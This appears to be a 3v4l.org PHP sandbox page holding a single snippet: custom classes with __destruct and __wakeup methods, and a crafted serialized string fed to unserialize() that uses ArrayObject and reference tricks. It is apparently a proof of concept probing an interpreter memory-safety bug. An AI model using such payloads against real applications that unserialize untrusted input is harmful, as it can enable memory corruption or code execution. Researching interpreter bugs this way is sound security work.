3v4l.org

run code in 300+ PHP versions simultaneously
<?php class a { public $a; function __destruct() { $t=1337; echo(serialize($this->a)); } } class b { public $b; function __wakeup() { $this->b=null; } } $i='x:i:0;O:10:"FixedArray":2:{i:0;i:1711;i:1;O:1:"a":1:{s:1:"a";R:1;}};m:a:0:{}'; $x=unserialize('a:2:{i:0;C:11:"ArrayObject":'.strlen($i).':{'.$i.'}i:1;O:1:"b":1:{s:1:"b";R:4;}}'); $x=null; echo('doe');

preferences:
56.99 ms | 402 KiB | 5 Q